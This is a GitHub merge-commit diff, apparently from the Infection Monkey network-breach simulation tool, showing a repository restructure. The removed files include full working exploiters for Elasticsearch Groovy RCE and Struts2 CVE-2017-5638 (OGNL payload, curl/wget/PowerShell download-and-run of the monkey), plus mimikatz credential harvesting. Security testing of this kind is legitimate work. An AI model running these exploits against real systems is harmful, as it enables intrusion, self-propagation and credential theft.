Merge pull request #195 from guardicore/develop

Update Master to latest
This commit is contained in:
MaorCore 2018-11-11 15:20:21 +02:00 committed by GitHub
commit 11160ee1f9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
222 changed files with 4560 additions and 2210 deletions

10
.gitignore vendored
View File

@ -62,9 +62,9 @@ docs/_build/
# PyBuilder
target/
db
bin
/monkey_island/cc/server.key
/monkey_island/cc/server.crt
/monkey_island/cc/server.csr
monkey_island/cc/ui/node_modules/
/monkey/monkey_island/db
/monkey/monkey_island/cc/server.key
/monkey/monkey_island/cc/server.crt
/monkey/monkey_island/cc/server.csr
/monkey/monkey_island/cc/ui/node_modules/

View File

@ -4,14 +4,11 @@ cache: pip
python:
- 2.7
- 3.6
#- nightly
#- pypy
#- pypy3
matrix:
allow_failures:
- python: nightly
- python: pypy
- python: pypy3
include:
- python: 3.7
dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
install:
#- pip install -r requirements.txt
- pip install flake8 # pytest # add another testing frameworks later

View File

@ -1,238 +0,0 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
import logging
import requests
from exploit import HostExploiter
from model import DROPPER_ARG
from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(HostExploiter):
# attack URLs
BASE_URL = 'http://%s:%s/_search?pretty'
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = \
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
def is_os_supported(self):
"""
Checks if the host is vulnerable.
Either using version string or by trying to attack
:return:
"""
if not super(ElasticGroovyExploiter, self).is_os_supported():
return False
if ES_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
return False
major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
major = int(major)
minor = int(minor)
build = int(build)
if major > 1:
return False
if major == 1 and minor > 4:
return False
if major == 1 and minor == 4 and build > 2:
return False
return self.is_vulnerable()
def exploit_host(self):
real_host_os = self.get_host_os()
self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in self.host.os['type']:
return self.exploit_host_linux()
else:
return self.exploit_host_windows()
def exploit_host_windows(self):
"""
TODO
Will exploit windows similar to smbexec
:return:
"""
return False
def exploit_host_linux(self):
"""
Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP
:return:
"""
uname_machine = str(self.get_linux_arch())
if len(uname_machine) != 0:
self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
return False
self.set_file_executable_linux(dropper_target_path_linux)
self.run_monkey_linux(dropper_target_path_linux)
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
return True
def run_monkey_linux(self, dropper_target_path_linux):
"""
Runs the monkey
"""
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
cmdline += ' & '
self.run_shell_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, src_path, target_path):
"""
Downloads a file in target machine using curl to the given target path
:param src_path: File path relative to the monkey
:param target_path: Target path in linux victim
:return: T/F
"""
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path)
self.run_shell_command(download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
def set_file_executable_linux(self, file_path):
"""
Marks the given file as executable using chmod
:return: Nothing
"""
chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(chmod)
LOG.info("Marked file %s on host %s as executable", file_path, self.host)
def check_if_remote_file_exists_linux(self, file_path):
"""
:return:
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(cmdline)
def run_shell_command(self, command):
"""
Runs a single shell command and returns the result.
"""
payload = self.JAVA_CMD % command
result = self.get_command_result(payload)
LOG.info("Ran the command %s on host %s", command, self.host)
return result
def get_linux_arch(self):
"""
Returns host as per uname -m
"""
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self):
"""
Returns where to write our file given our permissions
:return: Temp directory path in target host
"""
return self.get_command_result(self.JAVA_GET_TMP_DIR)
def get_host_os(self):
"""
:return: target OS
"""
return self.get_command_result(self.JAVA_GET_OS)
def is_vulnerable(self):
"""
Checks if a given elasticsearch host is vulnerable to the groovy attack
:return: True/False
"""
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text
def get_command_result(self, payload):
"""
Gets the result of an attack payload with a single return value.
:param payload: Payload that fits the GENERIC_QUERY template.
"""
result = self.attack_query(payload)
if not result: # not vulnerable
return ""
return result[0]
def attack_query(self, payload):
"""
Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs
:return: List of data fields or None
"""
response = requests.get(self.attack_url(), data=payload)
result = self.get_results(response)
return result
def attack_url(self):
"""
Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL
"""
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except (KeyError, IndexError):
return None

View File

@ -1,246 +0,0 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
import logging
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
DROPPER_ARG
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
def exploit_host(self):
dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host)
return False
for port in ports:
if port[1]:
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
else:
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
# Get full URL
url = self.get_redirected(current_host)
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
return self.exploit_linux(url, dropper_path_linux)
else:
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path):
command = EXISTS % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
def exploit_linux(self, url, dropper_path):
host_arch = Struts2Exploiter.check_exploit_linux(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and self.check_remote_file(url, dropper_path):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
command = WGET_HTTP % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def exploit_windows(self, url, dropper_paths):
"""
:param url: Where to send malicious request
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
:return: Bool. Successfully exploited or not
"""
host_arch = Struts2Exploiter.check_exploit_windows(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist:
for dropper_path in dropper_paths:
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Select the dir and name for monkey on the host
if "windows-32" in src_path:
dropper_path = dropper_paths[0]
else:
dropper_path = dropper_paths[1]
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# We need to double escape backslashes. Once for payload, twice for command
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
resp = self.exploit(url, command)
if 'powershell is not recognized' in resp:
self.exploit(url, backup_command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
@staticmethod
def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
return arch
else:
return False
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
LOG.error("Can't reach struts2 server")
return False
@staticmethod
def exploit(url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
payload = "%%{(#_='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?" \
"(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm))))." \
"(#cmd='%s')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new java.lang.ProcessBuilder(#cmds))." \
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead as e:
page = e.partial
return page
@staticmethod
def get_exploitable_ports(host, port_list, names):
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports

View File

@ -1,30 +0,0 @@
from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class HostScanner(object):
__metaclass__ = ABCMeta
@abstractmethod
def is_host_alive(self, host):
raise NotImplementedError()
class HostFinger(object):
__metaclass__ = ABCMeta
@abstractmethod
def get_host_fingerprint(self, host):
raise NotImplementedError()
from ping_scanner import PingScanner
from tcp_scanner import TcpScanner
from smbfinger import SMBFinger
from sshfinger import SSHFinger
from httpfinger import HTTPFinger
from elasticfinger import ElasticFinger
from mysqlfinger import MySQLFinger
from info import local_ips
from info import get_free_tcp_port
from mssql_fingerprint import MSSQLFinger

View File

@ -1,34 +0,0 @@
import logging
from mimikatz_collector import MimikatzCollector
from . import InfoCollector
LOG = logging.getLogger(__name__)
__author__ = 'uri'
class WindowsInfoCollector(InfoCollector):
"""
System information collecting module for Windows operating systems
"""
def __init__(self):
super(WindowsInfoCollector, self).__init__()
def get_info(self):
"""
Collect Windows system information
Hostname, process list and network subnets
Tries to read credential secrets using mimikatz
:return: Dict of system information
"""
LOG.debug("Running Windows collector")
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
mimikatz_collector = MimikatzCollector()
mimikatz_info = mimikatz_collector.get_logon_info()
self.info["credentials"].update(mimikatz_info)
return self.info

View File

@ -1,4 +0,0 @@
from ftp import FTPServer
from http import HTTPServer
__author__ = 'hoffer'

View File

@ -1,174 +0,0 @@
import socket, threading, time
import StringIO
__author__ = 'hoffer'
class FTPServer(threading.Thread):
def __init__(self, local_ip, local_port, files):
self.files=files
self.cwd='/'
self.mode='I'
self.rest=False
self.pasv_mode=False
self.local_ip = local_ip
self.local_port = local_port
threading.Thread.__init__(self)
def run(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind((self.local_ip,self.local_port))
self.sock.listen(1)
self.conn, self.addr = self.sock.accept()
self.conn.send('220 Welcome!\r\n')
while True:
if 0 == len(self.files):
break
cmd=self.conn.recv(256)
if not cmd: break
else:
try:
func=getattr(self,cmd[:4].strip().upper())
func(cmd)
except Exception as e:
self.conn.send('500 Sorry.\r\n')
break
self.conn.close()
self.sock.close()
def SYST(self,cmd):
self.conn.send('215 UNIX Type: L8\r\n')
def OPTS(self,cmd):
if cmd[5:-2].upper()=='UTF8 ON':
self.conn.send('200 OK.\r\n')
else:
self.conn.send('451 Sorry.\r\n')
def USER(self,cmd):
self.conn.send('331 OK.\r\n')
def PASS(self,cmd):
self.conn.send('230 OK.\r\n')
def QUIT(self,cmd):
self.conn.send('221 Goodbye.\r\n')
def NOOP(self,cmd):
self.conn.send('200 OK.\r\n')
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send('200 Binary mode.\r\n')
def CDUP(self,cmd):
self.conn.send('200 OK.\r\n')
def PWD(self,cmd):
self.conn.send('257 \"%s\"\r\n' % self.cwd)
def CWD(self,cmd):
self.conn.send('250 OK.\r\n')
def PORT(self,cmd):
if self.pasv_mode:
self.servsock.close()
self.pasv_mode = False
l = cmd[5:].split(',')
self.dataAddr='.'.join(l[:4])
self.dataPort=(int(l[4])<<8)+int(l[5])
self.conn.send('200 Get port.\r\n')
def PASV(self,cmd):
self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.servsock.bind((self.local_ip,0))
self.servsock.listen(1)
ip, port = self.servsock.getsockname()
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
def start_datasock(self):
if self.pasv_mode:
self.datasock, addr = self.servsock.accept()
else:
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.datasock.connect((self.dataAddr,self.dataPort))
def stop_datasock(self):
self.datasock.close()
if self.pasv_mode:
self.servsock.close()
def LIST(self,cmd):
self.conn.send('150 Here comes the directory listing.\r\n')
self.start_datasock()
for fn in self.files.keys():
k=self.toListItem(fn)
self.datasock.send(k+'\r\n')
self.stop_datasock()
self.conn.send('226 Directory send OK.\r\n')
def toListItem(self,fn):
fullmode='rwxrwxrwx'
mode = ''
d = '-'
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
def MKD(self,cmd):
self.conn.send('257 Directory created.\r\n')
def RMD(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def DELE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def SIZE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def RNFR(self,cmd):
self.conn.send('350 Ready.\r\n')
def RNTO(self,cmd):
self.conn.send('250 File renamed.\r\n')
def REST(self,cmd):
self.pos=int(cmd[5:-2])
self.rest=True
self.conn.send('250 File position reseted.\r\n')
def RETR(self,cmd):
fn = cmd[5:-2]
if self.mode=='I':
fi=self.files[fn]
else:
fi=self.files[fn]
self.conn.send('150 Opening data connection.\r\n')
if self.rest:
fi.seek(self.pos)
self.rest=False
data= fi.read(1024)
self.start_datasock()
while data:
self.datasock.send(data)
data=fi.read(1024)
fi.close()
del self.files[fn]
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')
def STOR(self,cmd):
fn = cmd[5:-2]
fo = StringIO.StringIO()
self.conn.send('150 Opening data connection.\r\n')
self.start_datasock()
while True:
data=self.datasock.recv(1024)
if not data: break
fo.write(data)
fo.seek(0)
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')

View File

@ -0,0 +1 @@
__author__ = 'itay.mizeretz'

View File

View File

@ -0,0 +1,83 @@
import wmi
import win32com
__author__ = 'maor.rayzin'
class MongoUtils:
def __init__(self):
# Static class
pass
@staticmethod
def fix_obj_for_mongo(o):
if type(o) == dict:
return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()])
elif type(o) in (list, tuple):
return [MongoUtils.fix_obj_for_mongo(i) for i in o]
elif type(o) in (int, float, bool):
return o
elif type(o) in (str, unicode):
# mongo dosn't like unprintable chars, so we use repr :/
return repr(o)
elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object:
return MongoUtils.fix_wmi_obj_for_mongo(o)
elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch:
try:
# objectSid property of ds_user is problematic and need thie special treatment.
# ISWbemObjectEx interface. Class Uint8Array ?
if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}":
return o.Value
except:
pass
try:
return o.GetObjectText_()
except:
pass
return repr(o)
else:
return repr(o)
@staticmethod
def fix_wmi_obj_for_mongo(o):
row = {}
for prop in o.properties:
try:
value = getattr(o, prop)
except wmi.x_wmi:
# This happens in Win32_GroupUser when the user is a domain user.
# For some reason, the wmi query for PartComponent fails. This table
# is actually contains references to Win32_UserAccount and Win32_Group.
# so instead of reading the content to the Win32_UserAccount, we store
# only the id of the row in that table, and get all the other information
# from that table while analyzing the data.
value = o.properties[prop].value
row[prop] = MongoUtils.fix_obj_for_mongo(value)
for method_name in o.methods:
if not method_name.startswith("GetOwner"):
continue
method = getattr(o, method_name)
try:
value = method()
value = MongoUtils.fix_obj_for_mongo(value)
row[method_name[3:]] = value
except wmi.x_wmi:
continue
return row

View File

@ -0,0 +1,25 @@
import _winreg
from common.utils.mongo_utils import MongoUtils
__author__ = 'maor.rayzin'
class RegUtils:
def __init__(self):
# Static class
pass
@staticmethod
def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE):
key = _winreg.ConnectRegistry(None, store)
subkey = _winreg.OpenKey(key, subkey_path)
d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])])
d = MongoUtils.fix_obj_for_mongo(d)
subkey.Close()
key.Close()
return d

View File

@ -0,0 +1,27 @@
import wmi
from mongo_utils import MongoUtils
__author__ = 'maor.rayzin'
class WMIUtils:
def __init__(self):
# Static class
pass
@staticmethod
def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None):
_wmi = wmi.WMI(moniker=moniker)
try:
if not properties:
wmi_class = getattr(_wmi, class_name)()
else:
wmi_class = getattr(_wmi, class_name)(properties)
except wmi.x_wmi:
return
return MongoUtils.fix_obj_for_mongo(wmi_class)

View File

@ -0,0 +1,4 @@
import infection_monkey.main
if "__main__" == __name__:
infection_monkey.main.main()

View File

@ -0,0 +1 @@
__author__ = 'itay.mizeretz'

View File

@ -1,15 +1,13 @@
import os
import struct
import json
import sys
import types
import uuid
from abc import ABCMeta
from itertools import product
import importlib
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
MSSQLFinger
importlib.import_module('infection_monkey', 'network')
__author__ = 'itamar'
@ -18,57 +16,47 @@ GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
def _cast_by_example(value, example):
"""
a method that casts a value to the type of the parameter given as example
"""
example_type = type(example)
if example_type is str:
return os.path.expandvars(value).encode("utf8")
elif example_type is tuple and len(example) != 0:
if value is None or value == tuple([None]):
return tuple()
return tuple([_cast_by_example(x, example[0]) for x in value])
elif example_type is list and len(example) != 0:
if value is None or value == [None]:
return []
return [_cast_by_example(x, example[0]) for x in value]
elif example_type is type(value):
return value
elif example_type is bool:
return value.lower() == 'true'
elif example_type is int:
return int(value)
elif example_type is float:
return float(value)
elif example_type in (type, ABCMeta):
return globals()[value]
else:
return None
class Configuration(object):
def from_dict(self, data):
"""
Get a dict of config variables, set known variables as attributes on self.
Return dict of unknown variables encountered.
"""
unknown_variables = {}
for key, value in data.items():
def from_kv(self, formatted_data):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
unknown_items = []
for key, value in formatted_data.items():
if key.startswith('_'):
continue
if key in ["name", "id", "current_server"]:
continue
if self._depth_from_commandline and key == "depth":
continue
try:
default_value = getattr(Configuration, key)
except AttributeError:
unknown_variables[key] = value
continue
# handle in cases
if key == 'finger_classes':
class_objects = [getattr(network_import, val) for val in value]
setattr(self, key, class_objects)
elif key == 'scanner_class':
scanner_object = getattr(network_import, value)
setattr(self, key, scanner_object)
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)
else:
unknown_items.append(key)
return unknown_items
setattr(self, key, _cast_by_example(value, default_value))
return unknown_variables
def from_json(self, json_data):
"""
Gets a json data object, parses it and applies it to the configuration
:param json_data:
:return:
"""
formatted_data = json.loads(json_data)
result = self.from_kv(formatted_data)
return result
def as_dict(self):
result = {}
@ -145,12 +133,9 @@ class Configuration(object):
# how many scan iterations to perform on each run
max_iterations = 1
scanner_class = TcpScanner
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, Struts2Exploiter # multi
]
scanner_class = None
finger_classes = []
exploiter_classes = []
# how many victims to look for in a single scan iteration
victims_max_find = 30
@ -186,12 +171,14 @@ class Configuration(object):
local_network_scan = True
subnet_scan_list = []
inaccessible_subnets = []
blocked_ips = []
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
8008, # HTTP alternate
7001 # Oracle Weblogic default server port
]
tcp_target_ports = [22,
2222,
@ -273,13 +260,12 @@ class Configuration(object):
# system info collection
collect_system_info = True
should_use_mimikatz = True
###########################
# systeminfo config
###########################
mimikatz_dll_name = "mk.dll"
extract_azure_creds = True

View File

@ -6,12 +6,12 @@ from socket import gethostname
import requests
from requests.exceptions import ConnectionError
import monkeyfs
import tunnel
from config import WormConfiguration, GUID
from network.info import local_ips, check_internet_access
from transport.http import HTTPConnectProxy
from transport.tcp import TcpProxy
import infection_monkey.monkeyfs as monkeyfs
import infection_monkey.tunnel as tunnel
from infection_monkey.config import WormConfiguration, GUID
from infection_monkey.network.info import local_ips, check_internet_access
from infection_monkey.transport.http import HTTPConnectProxy
from infection_monkey.transport.tcp import TcpProxy
__author__ = 'hoffer'
@ -19,6 +19,9 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT = 15
class ControlClient(object):
@ -72,7 +75,8 @@ class ControlClient(object):
LOG.debug(debug_message)
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies)
proxies=ControlClient.proxies,
timeout=TIMEOUT)
WormConfiguration.current_server = current_server
break
@ -160,7 +164,7 @@ class ControlClient(object):
return
try:
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
except Exception as exc:
# we don't continue with default conf here because it might be dangerous

View File

@ -9,10 +9,11 @@ import sys
import time
from ctypes import c_char_p
from config import WormConfiguration
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from system_info import SystemInfoCollector, OperatingSystem
import filecmp
from infection_monkey.config import WormConfiguration
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@ -56,7 +57,10 @@ class MonkeyDrops(object):
return False
# we copy/move only in case path is different
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
try:
file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path'])
except OSError:
file_moved = False
if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])

View File

@ -10,6 +10,7 @@
"subnet_scan_list": [
],
"inaccessible_subnets": [],
"blocked_ips": [],
"current_server": "192.0.2.0:5000",
"alive": true,
@ -37,7 +38,9 @@
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter",
"Struts2Exploiter"
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"finger_classes": [
"SSHFinger",
@ -87,7 +90,8 @@
443,
3306,
8008,
9200
9200,
7001
],
"timeout_between_iterations": 10,
"use_file_logging": true,

View File

@ -1,4 +1,5 @@
from abc import ABCMeta, abstractmethod
import infection_monkey.config
__author__ = 'itamar'
@ -9,7 +10,7 @@ class HostExploiter(object):
_TARGET_OS_TYPE = []
def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {}
self._exploit_attempts = []
self.host = host
